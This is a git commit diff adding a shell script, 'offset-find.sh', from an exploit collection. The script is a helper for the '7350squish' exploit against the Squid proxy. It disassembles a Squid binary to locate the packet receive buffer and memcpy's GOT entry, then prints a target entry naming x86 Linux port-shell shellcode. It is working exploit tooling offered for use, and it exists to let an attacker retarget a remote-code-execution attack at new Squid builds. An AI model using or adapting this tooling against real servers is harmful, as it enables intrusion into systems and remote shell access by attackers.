diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /exploits/7350squish/offset-find.sh | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'exploits/7350squish/offset-find.sh')
| -rw-r--r-- | exploits/7350squish/offset-find.sh | 67 |
1 files changed, 67 insertions, 0 deletions
diff --git a/exploits/7350squish/offset-find.sh b/exploits/7350squish/offset-find.sh new file mode 100644 index 0000000..dad7232 --- /dev/null +++ b/exploits/7350squish/offset-find.sh | |||
| @@ -0,0 +1,67 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | # 7350squish offset finder | ||
| 4 | # lorian & scut | ||
| 5 | |||
| 6 | check_util () | ||
| 7 | { | ||
| 8 | for util in $*; do | ||
| 9 | echo -n "checking for $util: " | ||
| 10 | if ! which $util; then | ||
| 11 | echo "not found, aborting" | ||
| 12 | exit | ||
| 13 | fi | ||
| 14 | done | ||
| 15 | } | ||
| 16 | |||
| 17 | echo "7350squish exploit offset finder" | ||
| 18 | echo | ||
| 19 | |||
| 20 | if [ $# != 1 ]; then | ||
| 21 | echo "usage: $0 /path/to/squid/binary" | ||
| 22 | echo | ||
| 23 | exit | ||
| 24 | fi; | ||
| 25 | |||
| 26 | |||
| 27 | check_util awk objdump | ||
| 28 | |||
| 29 | echo | ||
| 30 | |||
| 31 | bufferbase=`objdump -D $1 2>/dev/null | \ | ||
| 32 | grep "68 00 02 00 00" -A 1 | tail -1 | cut -d '$' -f2` | ||
| 33 | |||
| 34 | retaddr=`echo $bufferbase | awk 'function hex2num(s) | ||
| 35 | { | ||
| 36 | n = length (s) | ||
| 37 | v = 0 | ||
| 38 | for (i = 1; i < n-1; i++) { | ||
| 39 | c = tolower(substr (s, i+2, 1)); | ||
| 40 | if (c=="a") c=10; | ||
| 41 | if (c=="b") c=11; | ||
| 42 | if (c=="c") c=12; | ||
| 43 | if (c=="d") c=13; | ||
| 44 | if (c=="e") c=14; | ||
| 45 | if (c=="f") c=15; | ||
| 46 | v = v * 16 + c; | ||
| 47 | } | ||
| 48 | return v | ||
| 49 | } | ||
| 50 | { | ||
| 51 | printf ("0x%08x\n", hex2num ($0) + 144) | ||
| 52 | }'` | ||
| 53 | |||
| 54 | #retaddr=`echo $bufferbase | awk '{ printf ("0x%08x\n", $0 + 144) }'` | ||
| 55 | |||
| 56 | retloc=`objdump -R $1 2>/dev/null | \ | ||
| 57 | grep "memcpy$" | awk '{ printf ("0x%s", $1) }'` | ||
| 58 | |||
| 59 | echo "{ \"NEW TARGET\"," | ||
| 60 | echo "x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1," | ||
| 61 | echo "$retloc, /* GOT: memcpy */" | ||
| 62 | echo "$retaddr, /* packet receive buffer + 0x90 */" | ||
| 63 | echo "0x0182, 288 }," | ||
| 64 | echo | ||
| 65 | |||
| 66 | echo finished. | ||
| 67 | |||
